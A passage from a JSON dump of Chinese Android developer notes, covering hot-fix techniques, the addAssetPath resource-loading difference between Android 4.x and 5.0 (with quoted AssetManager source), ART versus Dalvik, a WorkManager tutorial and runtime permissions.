\n\n\t这是该类方案的固有限制，而底层替换方案最为人逅病的地方，在于底层替换的不稳定性。因为Hook方案，都是直接依赖修改虚拟机方法实体的具体字段。因为Art虚拟机和Dalvik虚拟机的不同，每个版本的虚拟机都要适配，而且Android系统是开源的，各个厂商都可以对代码进行改造，如果某个厂商进行了修改，那么这种通用性的替换机制就会出问题。这便是不稳定的根源。   \n\n\n\n- 腾讯系的类加载方案:类加载方案时效性差，需要重新冷启动才能见效，但修复范围广、限制少。   \n\n类加载方案的原理是在app重新启动后让classloader去加载新的类。因为在app运行到一半的时候，所有需要发生变更的类已经被加载过了，在Android上是无法对一个类进行卸载的。如果不重启，原来的类还在虚拟机中，就无法加载新类，因此只有在下次重启的时候，\n在还没走到业务逻辑之前抢先加载补丁中的新类，这样后续访问这个类的时候，就会用新类，从而达到热修复的目的。   \n\n\n为什么sophix更好?\n---\n\n既然底层替换方案和类加载方案各有优点，把他们联合起来就是最好的选择。Sophix就是同时涵盖了这两种方案，可以实现优势互补、完全兼顾的作用，可以灵活的根据实际情况自动切换。    \n\n\n\n\n\n\n但是[Sophix](https://help.aliyun.com/document_detail/57064.html?spm=a2c4g.11186623.6.543.SPhMhO)有一个缺点就是，他不是开源的，而且是收费的。但是确实强大。\n\n\n\n\n- [Google Instant app](https://developer.android.com/topic/instant-apps/index.html)\n- [微信热补丁实现](https://github.com/WeMobileDev/article/blob/master/%E5%BE%AE%E4%BF%A1Android%E7%83%AD%E8%A1%A5%E4%B8%81%E5%AE%9E%E8%B7%B5%E6%BC%94%E8%BF%9B%E4%B9%8B%E8%B7%AF.md#rd)\n- [多dex分拆](http://my.oschina.net/853294317/blog/308583)\n- [QQ空间热修复方案](https://mp.weixin.qq.com/s?__biz=MzI1MTA1MzM2Nw==&mid=400118620&idx=1&sn=b4fdd5055731290eef12ad0d17f39d4a)\n- [Android dex分包方案](http://my.oschina.net/853294317/blog/308583)\n- [类加载器DexClassLoader](http://www.maplejaw.com/2016/05/24/Android%E6%8F%92%E4%BB%B6%E5%8C%96%E6%8E%A2%E7%B4%A2%EF%BC%88%E4%B8%80%EF%BC%89%E7%B1%BB%E5%8A%A0%E8%BD%BD%E5%99%A8DexClassLoader/)\n- [基于cydia Hook在线热修复补丁方案](http://blog.csdn.net/xwl198937/article/details/49801975)\n- [Android 热补丁动态修复框架小结](http://blog.csdn.net/lmj623565791/article/details/49883661)\n- [美团Android DEX自动拆包及动态加载简介](http://tech.meituan.com/mt-android-auto-split-dex.html)\n- [插件化从放弃到捡起](http://kymjs.com/column/plugin.html)\n- [无需Root也能使用Xposed！](http://weishu.me/)\n- [当你准备开发一个热修复框架的时候，你需要了解的一切](http://www.zjutkz.net/2016/05/23/%E5%BD%93%E4%BD%A0%E5%87%86%E5%A4%87%E5%BC%80%E5%8F%91%E4%B8%80%E4%B8%AA%E7%83%AD%E4%BF%AE%E5%A4%8D%E6%A1%86%E6%9E%B6%E7%9A%84%E6%97%B6%E5%80%99%EF%BC%8C%E4%BD%A0%E9%9C%80%E8%A6%81%E4%BA%86%E8%A7%A3%E7%9A%84%E4%B8%80%E5%88%87/)\t\t\n\n\n[1]: https://github.com/CharonChui/AndroidNote/blob/master/SourceAnalysis/InstantRun%E8%AF%A6%E8%A7%A3.md \"InstantRun详解\"\n\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n"
  },
  {
    "path": "docs/android/AndroidNote/AdavancedPart/3.热修复_addAssetPath不同版本区别原因(三).md",
    "content": "在做热修复功能时Java层通过反射调用addAssetPath在Android5.0及以上系统没有问题，在Android 4.x版本找不到资源。 \n\naddAssetPath方法:   \n```java\n/**\n * Add an additional set of assets to the asset manager.  This can be\n * either a directory or ZIP file.  Not for use by applications.  Returns\n * the cookie of the added asset, or 0 on failure.\n * {@hide}\n */\npublic final int addAssetPath(String path) {\n    int res = addAssetPathNative(path);\n    return res;\n}\nprivate native final int addAssetPathNative(String path);\n```\n\naddAssetPath具体的实现方法是native层的。\n\n[AssetManager.cpp源码](https://android.googlesource.com/platform/frameworks/base/+/android-4.4_r1.0.1/libs/androidfw/AssetManager.cpp)\n\n4.4及以前的版本调用addAssetPath方法时，只是把补丁包的路径添加到mAssetPath中，不会去重新解析，真正解析的代码是在app第一次执行AssetManager.getResTable()`方法的时候。\n一旦解析完一次后，mResource对象就不为nil，以后就会直接return掉，不会重新解析。  \n\n```c\nbool AssetManager::addAssetPath(const String8& path, void** cookie)\n{\n    AutoMutex _l(mLock);\n    asset_path ap;\n    String8 realPath(path);\n    if (kAppZipName) {\n        realPath.appendPath(kAppZipName);\n    }\n    ap.type = ::getFileType(realPath.string());\n    if (ap.type == kFileTypeRegular) {\n        ap.path = realPath;\n    } else {\n        ap.path = path;\n        ap.type = ::getFileType(path.string());\n        if (ap.type != kFileTypeDirectory && ap.type != kFileTypeRegular) {\n            ALOGW(\"Asset path %s is neither a directory nor file (type=%d).\",\n                 path.string(), (int)ap.type);\n            return false;\n        }\n    }\n    // Skip if we have it already.\n    for (size_t i=0; i<mAssetPaths.size(); i++) {\n        if (mAssetPaths[i].path == ap.path) {\n            if (cookie) {\n                *cookie = (void*)(i+1);\n            }\n            return true;\n        }\n    }\n    ALOGV(\"In %p Asset %s path: %s\", this,\n         ap.type == kFileTypeDirectory ? \"dir\" : \"zip\", ap.path.string());\n    mAssetPaths.add(ap);\n    // new paths are always added at the end\n    if (cookie) {\n        *cookie = (void*)mAssetPaths.size();\n    }\n    // add overlay packages for /system/framework; apps are handled by the\n    // (Java) package manager\n    if (strncmp(path.string(), \"/system/framework/\", 18) == 0) {\n        // When there is an environment variable for /vendor, this\n        // should be changed to something similar to how ANDROID_ROOT\n        // and ANDROID_DATA are used in this file.\n        String8 overlayPath(\"/vendor/overlay/framework/\");\n        overlayPath.append(path.getPathLeaf());\n        if (TEMP_FAILURE_RETRY(access(overlayPath.string(), R_OK)) == 0) {\n            asset_path oap;\n            oap.path = overlayPath;\n            oap.type = ::getFileType(overlayPath.string());\n            bool addOverlay = (oap.type == kFileTypeRegular); // only .apks supported as overlay\n            if (addOverlay) {\n                oap.idmap = idmapPathForPackagePath(overlayPath);\n                if (isIdmapStaleLocked(ap.path, oap.path, oap.idmap)) {\n                    addOverlay = createIdmapFileLocked(ap.path, oap.path, oap.idmap);\n                }\n            }\n            if (addOverlay) {\n                mAssetPaths.add(oap);\n            } else {\n                ALOGW(\"failed to add overlay package %s\\n\", overlayPath.string());\n            }\n        }\n    }\n    return true;\n}\n```\n\n```c\nconst ResTable* AssetManager::getResTable(bool required) const\n{\n    // 执行该方法第一次之后，就都会return\n    ResTable* rt = mResources;\n    if (rt) {\n        return rt;\n    }\n    // Iterate through all asset packages, collecting resources from each.\n    AutoMutex _l(mLock);\n    if (mResources != NULL) {\n        return mResources;\n    }\n    if (required) {\n        LOG_FATAL_IF(mAssetPaths.size() == 0, \"No assets added to AssetManager\");\n    }\n    if (mCacheMode != CACHE_OFF && !mCacheValid)\n        const_cast<AssetManager*>(this)->loadFileNameCacheLocked();\n    const size_t N = mAssetPaths.size();\n    // 真正解析package的地方\n    for (size_t i=0; i<N; i++) {\n        Asset* ass = NULL;\n        ResTable* sharedRes = NULL;\n        bool shared = true;\n        const asset_path& ap = mAssetPaths.itemAt(i);\n        MY_TRACE_BEGIN(ap.path.string());\n        Asset* idmap = openIdmapLocked(ap);\n        ALOGV(\"Looking for resource asset in '%s'\\n\", ap.path.string());\n        if (ap.type != kFileTypeDirectory) {\n            if (i == 0) {\n                // The first item is typically the framework resources,\n                // which we want to avoid parsing every time.\n                sharedRes = const_cast<AssetManager*>(this)->\n                    mZipSet.getZipResourceTable(ap.path);\n            }\n            if (sharedRes == NULL) {\n                ass = const_cast<AssetManager*>(this)->\n                    mZipSet.getZipResourceTableAsset(ap.path);\n                if (ass == NULL) {\n                    ALOGV(\"loading resource table %s\\n\", ap.path.string());\n                    ass = const_cast<AssetManager*>(this)->\n                        openNonAssetInPathLocked(\"resources.arsc\",\n                                                 Asset::ACCESS_BUFFER,\n                                                 ap);\n                    if (ass != NULL && ass != kExcludedAsset) {\n                        ass = const_cast<AssetManager*>(this)->\n                            mZipSet.setZipResourceTableAsset(ap.path, ass);\n                    }\n                }\n                \n                if (i == 0 && ass != NULL) {\n                    // If this is the first resource table in the asset\n                    // manager, then we are going to cache it so that we\n                    // can quickly copy it out for others.\n                    ALOGV(\"Creating shared resources for %s\", ap.path.string());\n                    sharedRes = new ResTable();\n                    sharedRes->add(ass, (void*)(i+1), false, idmap);\n                    sharedRes = const_cast<AssetManager*>(this)->\n                        mZipSet.setZipResourceTable(ap.path, sharedRes);\n                }\n            }\n        } else {\n            ALOGV(\"loading resource table %s\\n\", ap.path.string());\n            Asset* ass = const_cast<AssetManager*>(this)->\n                openNonAssetInPathLocked(\"resources.arsc\",\n                                         Asset::ACCESS_BUFFER,\n                                         ap);\n            shared = false;\n        }\n        if ((ass != NULL || sharedRes != NULL) && ass != kExcludedAsset) {\n            if (rt == NULL) {\n                mResources = rt = new ResTable();\n                updateResourceParamsLocked();\n            }\n            ALOGV(\"Installing resource asset %p in to table %p\\n\", ass, mResources);\n            if (sharedRes != NULL) {\n                ALOGV(\"Copying existing resources for %s\", ap.path.string());\n                rt->add(sharedRes);\n            } else {\n                ALOGV(\"Parsing resources for %s\", ap.path.string());\n                rt->add(ass, (void*)(i+1), !shared, idmap);\n            }\n            if (!shared) {\n                delete ass;\n            }\n        }\n        if (idmap != NULL) {\n            delete idmap;\n        }\n        MY_TRACE_END();\n    }\n    if (required && !rt) ALOGW(\"Unable to find resources file resources.arsc\");\n    if (!rt) {\n        mResources = rt = new ResTable();\n    }\n    return rt;\n}\n\n\nconst ResTable& AssetManager::getResources(bool required) const\n{\n    const ResTable* rt = getResTable(required);\n    return *rt;\n}\n```\n而当我们执行加载补丁的代码的时候，getResTable已经执行过多次了，Android Framework里面的代码会多次调用该方法。所以即使是使用addAssetPath，也只是添加到了mAssetPath，并不会发生解析，所以补丁包里面的资源就是完全不生效的。 \n\n而在android 5.0及以上的代码中:   \n\n[Android 5.0 AssetManager.cpp源码](https://android.googlesource.com/platform/frameworks/base/+/android-5.0.0_r7/libs/androidfw/AssetManager.cpp)\n\n```c\nbool AssetManager::addAssetPath(const String8& path, int32_t* cookie)\n{\n    AutoMutex _l(mLock);\n    asset_path ap;\n    String8 realPath(path);\n    if (kAppZipName) {\n        realPath.appendPath(kAppZipName);\n    }\n    ap.type = ::getFileType(realPath.string());\n    if (ap.type == kFileTypeRegular) {\n        ap.path = realPath;\n    } else {\n        ap.path = path;\n        ap.type = ::getFileType(path.string());\n        if (ap.type != kFileTypeDirectory && ap.type != kFileTypeRegular) {\n            ALOGW(\"Asset path %s is neither a directory nor file (type=%d).\",\n                 path.string(), (int)ap.type);\n            return false;\n        }\n    }\n    // Skip if we have it already.\n    for (size_t i=0; i<mAssetPaths.size(); i++) {\n        if (mAssetPaths[i].path == ap.path) {\n            if (cookie) {\n                *cookie = static_cast<int32_t>(i+1);\n            }\n            return true;\n        }\n    }\n    ALOGV(\"In %p Asset %s path: %s\", this,\n         ap.type == kFileTypeDirectory ? \"dir\" : \"zip\", ap.path.string());\n    // Check that the path has an AndroidManifest.xml\n    Asset* manifestAsset = const_cast<AssetManager*>(this)->openNonAssetInPathLocked(\n            kAndroidManifest, Asset::ACCESS_BUFFER, ap);\n    if (manifestAsset == NULL) {\n        // This asset path does not contain any resources.\n        delete manifestAsset;\n        return false;\n    }\n    delete manifestAsset;\n    mAssetPaths.add(ap);\n    // new paths are always added at the end\n    if (cookie) {\n        *cookie = static_cast<int32_t>(mAssetPaths.size());\n    }\n#ifdef HAVE_ANDROID_OS\n    // Load overlays, if any\n    asset_path oap;\n    for (size_t idx = 0; mZipSet.getOverlay(ap.path, idx, &oap); idx++) {\n        mAssetPaths.add(oap);\n    }\n#endif\n    if (mResources != NULL) {\n    // 重新调用该方法去解析package\n        appendPathToResTable(ap);\n    }\n    return true;\n}\n```\n\n```c\nbool AssetManager::appendPathToResTable(const asset_path& ap) const {\n    Asset* ass = NULL;\n    ResTable* sharedRes = NULL;\n    bool shared = true;\n    bool onlyEmptyResources = true;\n    MY_TRACE_BEGIN(ap.path.string());\n    Asset* idmap = openIdmapLocked(ap);\n    size_t nextEntryIdx = mResources->getTableCount();\n    ALOGV(\"Looking for resource asset in '%s'\\n\", ap.path.string());\n    if (ap.type != kFileTypeDirectory) {\n        if (nextEntryIdx == 0) {\n            // The first item is typically the framework resources,\n            // which we want to avoid parsing every time.\n            sharedRes = const_cast<AssetManager*>(this)->\n                mZipSet.getZipResourceTable(ap.path);\n            if (sharedRes != NULL) {\n                // skip ahead the number of system overlay packages preloaded\n                nextEntryIdx = sharedRes->getTableCount();\n            }\n        }\n        if (sharedRes == NULL) {\n            ass = const_cast<AssetManager*>(this)->\n                mZipSet.getZipResourceTableAsset(ap.path);\n            if (ass == NULL) {\n                ALOGV(\"loading resource table %s\\n\", ap.path.string());\n                ass = const_cast<AssetManager*>(this)->\n                    openNonAssetInPathLocked(\"resources.arsc\",\n                                             Asset::ACCESS_BUFFER,\n                                             ap);\n                if (ass != NULL && ass != kExcludedAsset) {\n                    ass = const_cast<AssetManager*>(this)->\n                        mZipSet.setZipResourceTableAsset(ap.path, ass);\n                }\n            }\n            \n            if (nextEntryIdx == 0 && ass != NULL) {\n                // If this is the first resource table in the asset\n                // manager, then we are going to cache it so that we\n                // can quickly copy it out for others.\n                ALOGV(\"Creating shared resources for %s\", ap.path.string());\n                sharedRes = new ResTable();\n                sharedRes->add(ass, idmap, nextEntryIdx + 1, false);\n#ifdef HAVE_ANDROID_OS\n                const char* data = getenv(\"ANDROID_DATA\");\n                LOG_ALWAYS_FATAL_IF(data == NULL, \"ANDROID_DATA not set\");\n                String8 overlaysListPath(data);\n                overlaysListPath.appendPath(kResourceCache);\n                overlaysListPath.appendPath(\"overlays.list\");\n                addSystemOverlays(overlaysListPath.string(), ap.path, sharedRes, nextEntryIdx);\n#endif\n                sharedRes = const_cast<AssetManager*>(this)->\n                    mZipSet.setZipResourceTable(ap.path, sharedRes);\n            }\n        }\n    } else {\n        ALOGV(\"loading resource table %s\\n\", ap.path.string());\n        ass = const_cast<AssetManager*>(this)->\n            openNonAssetInPathLocked(\"resources.arsc\",\n                                     Asset::ACCESS_BUFFER,\n                                     ap);\n        shared = false;\n    }\n    if ((ass != NULL || sharedRes != NULL) && ass != kExcludedAsset) {\n        ALOGV(\"Installing resource asset %p in to table %p\\n\", ass, mResources);\n        if (sharedRes != NULL) {\n            ALOGV(\"Copying existing resources for %s\", ap.path.string());\n            mResources->add(sharedRes);\n        } else {\n            ALOGV(\"Parsing resources for %s\", ap.path.string());\n            mResources->add(ass, idmap, nextEntryIdx + 1, !shared);\n        }\n        onlyEmptyResources = false;\n        if (!shared) {\n            delete ass;\n        }\n    } else {\n        ALOGV(\"Installing empty resources in to table %p\\n\", mResources);\n        mResources->addEmpty(nextEntryIdx + 1);\n    }\n    if (idmap != NULL) {\n        delete idmap;\n    }\n    MY_TRACE_END();\n    return onlyEmptyResources;\n}\nconst ResTable* AssetManager::getResTable(bool required) const\n{\n    ResTable* rt = mResources;\n    if (rt) {\n        return rt;\n    }\n    // Iterate through all asset packages, collecting resources from each.\n    AutoMutex _l(mLock);\n    if (mResources != NULL) {\n        return mResources;\n    }\n    if (required) {\n        LOG_FATAL_IF(mAssetPaths.size() == 0, \"No assets added to AssetManager\");\n    }\n    if (mCacheMode != CACHE_OFF && !mCacheValid) {\n        const_cast<AssetManager*>(this)->loadFileNameCacheLocked();\n    }\n    mResources = new ResTable();\n    updateResourceParamsLocked();\n    bool onlyEmptyResources = true;\n    const size_t N = mAssetPaths.size();\n    // 也是调用appendPathToResTable去解析\n    for (size_t i=0; i<N; i++) {\n        bool empty = appendPathToResTable(mAssetPaths.itemAt(i));\n        onlyEmptyResources = onlyEmptyResources && empty;\n    }\n    if (required && onlyEmptyResources) {\n        ALOGW(\"Unable to find resources file resources.arsc\");\n        delete mResources;\n        mResources = NULL;\n    }\n    return mResources;\n}\n```\n\n也就是说在Android5.0及以上的系统中native层的addAssetPath方法会再调用appendPathToResTable去解析，所以在5.0及以上系统通过反射调用addAssetPath方法就不会有问题。\n\n解决方案就是根据Google [Instant Run](https://github.com/CharonChui/AndroidNote/blob/master/SourceAnalysis/InstantRun%E8%AF%A6%E8%A7%A3.md)实现的原理:创建一个新的AssetManager，然后加入完整的新资源包，替换掉原有的AssetManager。\n\n具体可参考:[深度理解Android InstantRun原理以及源码分析](https://blog.csdn.net/nupt123456789/article/details/51828701)中的`2.2 monkeyPatchExistingResources`部分\n\n\n\n通过aapt工具编译apk包，package id是0x7f，系统的资源包(framework-res.jar)，package id为0x01，如果addAssetPath补丁包中的package id也是0x7f，就会使得同一个pakcage id的包被加载两次，在Android L后，会把后来的包添加到之前的包的同一个PackageGoup下，但是在get资源时，会从前往后便利，也就是说先得到原有安装包里的资源，补丁中的资源就永远无法生效。可以构建一个package id为0x66的资源包。这样就不会与已经加载的0x7f冲突。\n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/AdavancedPart/ART与Dalvik.md",
    "content": "ART与Dalvik\n===\n\n\n\nDalvik\n---\n\n`Dalvik`是`Google`公司自己设计用于`Android`平台的`Java`虚拟机。它可以支持已转换为`.dex`（即`Dalvik Executable`）格式的`Java`应用程序的运行，\n`.dex`格式是专为`Dalvik`设计的一种压缩格式，适合内存和处理器速度有限的系统。`Dalvik`经过优化，允许在有限的内存中同时运行多个虚拟机的实例，\n并且每一个`Dalvik`应用作为一个独立的`Linux`进程执行。独立的进程可以防止在虚拟机崩溃的时候所有程序都被关闭。\n很长时间以来，`Dalvik`虚拟机一直被用户指责为拖慢安卓系统运行速度不如`IOS`的根源。\n`2014`年`6`月`25`日，`Android L`正式亮相于召开的谷歌`I/O`大会，`Android L`改动幅度较大，谷歌将直接删除`Dalvik`，代替它的是传闻已久的`ART`。\n\n\nART\n--- \n\n`Android 4.4`提供了一种与`Dalvik`截然不同的运行环境`ART`支持,`ART`源于`google`收购的`Flexycore`的公司。\n`ART`模式与`Dalvik`模式最大的不同在于，启用`ART`模式后，系统在安装应用的时候会进行一次预编译，将字节码转换为机器语言存储在本地，\n这样在运行程序时就不会每次都进行一次编译了，执行效率也大大提升。\n\n`ART`使用`AOT(Ahead Of Time)`(静态编译)而`Dalvik`使用`JIT(Just In Time)`(动态编译)\n`JIT`方式会在程序执行时将`Dex bytecode`(`java`字节码)转换为处理器可以理解的本地代码，这种方式会将编译时间计入程序的执行时间，程序执行会显得慢一些。`AOT`方式会在程序执行之前(一般是安装时)就编译好本地代码，因此程序执行时少了编译的过程会显得快一些，但占用更多存储空间，安装时也会更慢。但没针对ART优化的程序反而会运行得更慢，随着`Android L`的普及这个问题迟早会解决。`ART`拥有改进的`GC`(垃圾回收)机制:`GC`时更少的暂停时间、`GC`时并行处理、某些时候`Collector`所需时间更短、减少内存不足时触发GC的次数、减少后台内存占用。   \n在移除解释代码这一过程后，应用程序执行将更有效率，启动更快。总体的理念就是空间换时间。\n\n\n`AOT`的编译器分两种模式：            \n- 在开发机上编译预装应用；\n- 在设备上编译新安装的应用,在应用安装时将`dex`字节码翻译成本地机器码。\n\nART优点:     \n- 系统性能的显著提升。\n- 应用启动更快、运行更快、体验更流畅、触感反馈更及时。\n- 更长的电池续航能力。\n- 支持更低的硬件。\n\nART缺点:       \n- 更大的存储空间占用，可能会增加10%-20%。\n- 更长的应用安装时间。\n\n\n\n\t\t\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/AdavancedPart/Android WorkManager.md",
    "content": "Android WorkManager\n===\n\n谷歌在今年的`Google I/O`上宣布了一项非常令人兴奋的功能，该功能允许开发人员执行传统上需要详细了解各种API级别和可用于这些API的后台任务库的后台任务(简单点说就是”管理一些要在后台工作的任务, – 即使你的应用没启动也能保证任务能被执行”)，这就是[WorkManager](https://developer.android.com/reference/androidx/work/WorkManager),`WorkManager`提供了从其他`API`（例如`JobScheduler`，`Firebase.JobDispatcher`，`AlarmManager`和`Services`）中获得的功能，而无需研究哪种`API`可用于您的设备或`API`。\n\n这句话是什么意思？既然能用`JobScheduler`和`AlarmManager`等，何必再出来个`WorkManager`呢？其实`WorkManager`在底层也是看你是什么版本来选到底是`JobScheduler`,`AlamarManager`来做。 \n`JobScheduler`是在`SDK`21中才有的，而且在`SDK`21中还有`Bug`，稳定可用是从`SDK`23开始的. 而`AlarmManager`一直存在，但是`AlarmManager`也不是最好的选择，\n注意：如果您的应用程序的目标是`API`级别26或更高，则当应用程序本身不在前台时，系统会对运行后台服务施加限制。在大多数情况下，您的应用程序应该使用预定作业。所以`WorkManager`在底层, 会根据你的设备情况, 选用`JobScheduler`,`Firebase`的`JobDispatcher`,或是`AlarmManager`。\n\n\n`WorkManager`,它在应用被杀, 甚至设备重启后仍能保证你安排给他的任务能得到执行。那这样我们以后是不是可以把后台任务都用它来实现了?其实`Google`自己也说了:`WorkManager`并不是为了那种在应用内的后台线程而设计出来的. 这种需求你应该使用`ThreadPool`。\n\n具体的规则如下:   \n\n`WorkManager`根据以下标准在可用时使用对应的底层工作服务:    \n\n- 在`API 23+`使用`JobScheduler`\n- 在`API 14-22`中    \n    - 如果在应用中使用了`Firebase JobDispatcher`并且有可选的`Firebase`依赖项就使用`Firebase JobDispatcher`\n    - 否则使用自定义的`AlarmManager + BroadcastReceiver`的实现方式\n\n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/workmanager.png)\n\n\n\n\n组成部分:   \n\n- `WorkManager`:通过对应的参数来接受`work`并排队执行`work`。\n- `Worker`:通过实现`doWork()`方法来指定在后台执行的具体功能。\n- `WorkRequest`:代表一个独立的任务。它会告诉你哪个`worker`加入了，以及它需要满足哪些约束才能运行。`WorkRequest`是一个抽象类，您将使用[OneTimeWorkRequest](https://developer.android.com/reference/androidx/work/OneTimeWorkRequest)或[PeriodicWorkRequest](https://developer.android.com/reference/androidx/work/PeriodicWorkRequest)。\n- `WorkStatus`:为每个WorkRequest对象提供数据。\n\n\n\n好了下面开始演示:  \n\n首先加入依赖:   \n\n```\ndependencies {\n    def work_version = \"1.0.0-alpha02\"\n    implementation \"android.arch.work:work-runtime:$work_version\"\n}\n```\n\n- 继承`Worker`类并实现`doWork()`方法\n\n```kotlin\nclass MineWorker : Worker() {\n    override fun doWork(): WorkerResult {\n        Log.e(\"@@@\", \"dang dang dang !!!\")\n        return WorkerResult.SUCCESS\n    }\n}\n```\n\n- 接下来如果想要该`Worker`执行，需要调用`WorkManager`将该`Worker`添加到队列中\n\n```kotlin\nclass MainActivity : AppCompatActivity() {\n\n    override fun onCreate(savedInstanceState: Bundle?) {\n        super.onCreate(savedInstanceState)\n        setContentView(R.layout.activity_main)\n\n        val workRequest = OneTimeWorkRequest.Builder(MineWorker::class.java).build()\n        val instance = WorkManager.getInstance()\n        instance.enqueue(workRequest)\n\n    }\n}\n```\n\n好了，执行下:  \n```\n05-29 12:15:51.066 6360-6406/com.charon.workmanagerdemo E/@@@: dang dang dang !!!\n```\n\n并没什么卵用，因为这个示例代码就上来就执行一次。 很显然这个不合理啊，我想给该`worker`添加一些限制条件，例如我想在手机充电时，并且有网的情况下执行某个任务，\n而且我想让它执行多次，这里可以通过`Constraints`来限制:   \n\n```kotlin\noverride fun onCreate(savedInstanceState: Bundle?) {\n    super.onCreate(savedInstanceState)\n    setContentView(R.layout.activity_main)\n\n    val constraints = Constraints.Builder()\n            .setRequiredNetworkType(NetworkType.CONNECTED)\n            .setRequiresCharging(true)\n            .build()\n\n    val workRequest = OneTimeWorkRequest.Builder(MineWorker::class.java)\n            .setConstraints(constraints).build()\n\n    val instance = WorkManager.getInstance()\n    instance.enqueue(workRequest)\n}\n```\n我们把手机网络关掉运行下，这次运行后并没有`log`打印。那现在把网络打开:   \n\n```\n05-29 12:21:02.061 7092-7241/? E/@@@: dang dang dang !!!\n```\n\n\n当然我们可以获取每个请求的状态，以及取消该请求:   \n```kotlin\nval statusById: LiveData<WorkStatus> = instance.getStatusById(workRequest.id)\ninstance.cancelWorkById(workRequest.id)\n```\n如果想要顺序的去执行不同的`OneTimeWorker`也是很方便的:  \n```kotlin\nWorkContinuation chain1 = WorkManager.getInstance()\n    .beginWith(workA)\n    .then(workB);\nWorkContinuation chain2 = WorkManager.getInstance()\n    .beginWith(workC)\n    .then(workD);\nWorkContinuation chain3 = WorkContinuation\n    .combine(chain1, chain2)\n    .then(workE);\nchain3.enqueue();\n```\n\n上面都是用了`OneTimeWorkRequest`，如果你想定期的去执行某一个`worker`的话，可以使用`PeriodicWorkRequest`:   \n```kotlin\nval workRequest = PeriodicWorkRequest.Builder(MineWorker::class.java, 3, TimeUnit.SECONDS)\n        .setConstraints(constraints)\n        .setInputData(data)\n        .build()\n```\n\n但是我使用这个定期任务执行的时候也只是执行了一次，并没有像上面的代码中那样3秒执行一次，什么鬼？ \n我们看看`PeriodicWorkRequest`的源码:    \n\n```kotlin\n/**\n * A class that represents a request for repeating work.\n */\n\npublic final class PeriodicWorkRequest extends WorkRequest {\n\n    /**\n     * The minimum interval duration for {@link PeriodicWorkRequest}, in milliseconds.\n     * Based on {@see https://android.googlesource.com/platform/frameworks/base/+/master/core/java/android/app/job/JobInfo.java#110}.\n     */\n    public static final long MIN_PERIODIC_INTERVAL_MILLIS = 15 * 60 * 1000L; // 15 minutes.\n```\n\n上面说的很明白，最小间隔15分钟，- -！\n\n\n总体来说,`WorkManager`并不是要取代线程池`AsyncTask/RxJava`.反而是像`AlarmManager`来做定时任务的意思.即保证你给它的任务能完成, 即使你的应用都没有被打开, 或是设备重启后也能让你的任务被执行.`WorkManager`在设计上设计得比较好.没有把`worker`,任务混为一谈,而是把它们解耦成`Worker`,`WorkRequest`.这样分层就清晰多了, 也好扩展.\n\n\n到了这里突然有了一个大胆的想法。看到没有它能保证任务的执行。\n我们之前写过一篇文章[Android卸载反馈](https://github.com/CharonChui/AndroidNote/blob/master/AdavancedPart/Android%E5%8D%B8%E8%BD%BD%E5%8F%8D%E9%A6%88.md)\n里面用到了`c`中的`fork`来保证存活，达到常驻内存的功能，如果`PeriodicWorkRequest`的最小间隔时间比较短不是15分钟的话，那这里是不是也可以用`WorkManager`来实现？ 好了，不说了。\n\n\n\n参考:   \n\n- [官方文档](https://developer.android.com/topic/libraries/architecture/workmanager)\n- [Codelabs android-workmanager](https://codelabs.developers.google.com/codelabs/android-workmanager/#0)\n- [示例代码](https://github.com/googlecodelabs/android-workmanager)\n\t\t\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/AdavancedPart/Android6.0权限系统.md",
    "content": "Android6.0权限系统\n===\n\n`Android`权限系统是一个非常重要的安全问题，因为它只有在安装时会询问一次。一旦软件本安装之后，应用程序可以在用户毫不知情的情况下使用这些权限来获取所有的内容。     \n\n很多坏蛋会通过这个安全缺陷来收集用户的个人信息并使用它们来做坏事的情况就不足为奇了。    \n\n`Android`团队也意识到了这个问题。在经过了7年后，权限系统终于被重新设置了。从`Anroid 6.0(API Level 23)`开始，应用程序在安装时不会被授予任何权限，取而代之的是在运行时应用回去请求用户授予对应的权限。这样可以让用户能更好的去控制应用功能。例如，一个用户可能会同一个拍照应用使用摄像头的权限，但是不同授权它获取设备位置的权限。用户可以在任何时候通过去应用的设置页面来撤销授权。    \n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/runtimepermission.jpg?raw=true)  \n\n注意:上面请求权限的对话框不会自动弹出。开发者需要手动的调用。如果开发者调用了一些需要权限的功能，但是用户又拒绝授权的话，应用就会`crash`。   \n\n系统权限被分为两类，`normal`和`dangerous`:    \n\n- `Normal Permissions`不需要用户直接授权，如果你的应用在清单文件中声明了`Normal Permissions`，系统会自动授权该权限。    \n- `Dangerous Permissions`可以让应用获取用户的私人数据。如果你的应用在清单文件中申请了`Dangerous Permissions`，那就必须要用户来授权给应用。   \n\n`Normal Permissions`:    \n`Normal Permission`是当用户安装或更新应用时，系统将授予应用所请求的权限，又称为`PROTECTION_NORMAL`（安装时授权的一类基本权限）。该类权限只需要在`manifest`文件中声明即可，安装时就授权，不需要每次使用时进行检查，而且用户不能取消以上授权。   \n\n\n- ACCESS_LOCATION_EXTRA_COMMANDS\n- ACCESS_NETWORK_STATE\n- ACCESS_NOTIFICATION_POLICY\n- ACCESS_WIFI_STATE\n- BLUETOOTH\n- BLUETOOTH_ADMIN\n- BROADCAST_STICKY\n- CHANGE_NETWORK_STATE\n- CHANGE_WIFI_MULTICAST_STATE\n- CHANGE_WIFI_STATE\n- DISABLE_KEYGUARD\n- EXPAND_STATUS_BAR\n- GET_PACKAGE_SIZE\n- INSTALL_SHORTCUT\n- INTERNET\n- KILL_BACKGROUND_PROCESSES\n- MODIFY_AUDIO_SETTINGS\n- NFC\n- READ_SYNC_SETTINGS\n- READ_SYNC_STATS\n- RECEIVE_BOOT_COMPLETED\n- REORDER_TASKS\n- REQUEST_IGNORE_BATTERY_OPTIMIZATIONS\n- REQUEST_INSTALL_PACKAGES\n- SET_ALARM\n- SET_TIME_ZONE\n- SET_WALLPAPER\n- SET_WALLPAPER_HINTS\n- TRANSMIT_IR\n- UNINSTALL_SHORTCUT\n- USE_FINGERPRINT\n- VIBRATE\n- WAKE_LOCK\n- WRITE_SYNC_SETTINGS\n\n\n\n下图为`Dangerous permissions and permission groups`:  \n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/permgroup.png?raw=true)     